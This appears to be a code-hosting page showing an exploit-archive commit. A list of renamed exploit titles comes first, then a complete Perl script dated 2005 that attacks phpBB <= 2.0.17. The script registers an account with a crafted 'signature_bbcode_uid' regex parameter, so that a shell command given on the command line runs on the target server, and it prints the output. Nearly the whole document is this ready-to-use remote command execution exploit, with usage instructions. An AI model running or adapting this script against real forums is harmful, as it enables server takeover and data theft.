477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
103 lines
3.1 KiB
Perl
Executable file
103 lines
3.1 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
# phpBB <= 2.0.17 remote command execution exploit
|
|
# need for work:
|
|
# 1. PHP 5 < 5.0.5
|
|
# 2. register_globals=On
|
|
# 3. magic_quotes off
|
|
# ------------------------------------------------
|
|
# (c)oded by 1dt.w0lf
|
|
# RST/GHC
|
|
# http://rst.void.ru
|
|
# http://ghc.ru
|
|
# 03.11.05
|
|
|
|
use LWP::UserAgent;
|
|
use HTTP::Cookies;
|
|
|
|
if(@ARGV < 2) { usage(); }
|
|
|
|
head();
|
|
|
|
$xpl = LWP::UserAgent->new() or die;
|
|
$cookie_jar = HTTP::Cookies->new();
|
|
|
|
for($i=0;$i<5;$i++)
|
|
{
|
|
$rand .= int(rand(9));
|
|
}
|
|
|
|
$name = 'r57phpBB2017xpl'.$rand;
|
|
$password = 'r57phpBB2017xpl'.$rand;
|
|
$path = $ARGV[0];
|
|
$cmd = $ARGV[1];
|
|
$xpl->cookie_jar( $cookie_jar );
|
|
|
|
$res = $xpl->post(
|
|
$path.'profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00',
|
|
|
|
Content => [
|
|
'username' => $name,
|
|
'email' => $rand.'_bill_gates@microsoft.com',
|
|
'new_password' => $password,
|
|
'password_confirm' => $password,
|
|
'signature' => 'r57:`'.$cmd.'`',
|
|
'viewemail' => '0',
|
|
'hideonline' => '1',
|
|
'notifyreply' => '0',
|
|
'notifypm' => '0',
|
|
'popup_pm' => '0',
|
|
'attachsig' => '0',
|
|
'allowbbcode' => '1',
|
|
'allowhtml' => '1',
|
|
'allowsmilies' => '0',
|
|
'mode' => 'register',
|
|
'agreed' => 'true',
|
|
'coppa' => '0',
|
|
'submit' => 'Submit',
|
|
],
|
|
);
|
|
|
|
if($res->content =~ /form action=\"profile.php/) { print "Failed to register user $name\r\n"; exit(); }
|
|
else { print "Done. User $name successfully registered!\r\n"; }
|
|
|
|
$res = $xpl->post(
|
|
$path.'login.php',
|
|
Content => [
|
|
'username' => $name,
|
|
'password' => $password,
|
|
'redirect' => '',
|
|
'login' => 'Log in',
|
|
],Referer => $path.'login.php');
|
|
|
|
$res = $xpl->get($path.'profile.php?mode=editprofile');
|
|
@content = split("\n",$res->content);
|
|
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
|
|
for(@content)
|
|
{
|
|
if(/<\/textarea>/) { $p = 0; }
|
|
print $_."\r\n" if $p;
|
|
if(/<textarea name="signature"/){ $p = 1; }
|
|
}
|
|
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
|
|
|
|
sub head()
|
|
{
|
|
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
|
|
print " PhpBB <= 2.0.17, PHP 5 < 5.0.5 remote command execution exploit by RST/GHC\r\n";
|
|
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
|
|
}
|
|
|
|
sub usage()
|
|
{
|
|
head();
|
|
print " Usage: r57phpBB2017.pl <path> <cmd>\r\n";
|
|
print " <path> - Path to forum e.g. http://phpbb.com/forum/\r\n";
|
|
print " <cmd> - Command for execute\r\n";
|
|
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
|
|
print "(c)oded by 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru\r\n";
|
|
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
|
|
exit();
|
|
}
|
|
|
|
# milw0rm.com [2005-12-24]
|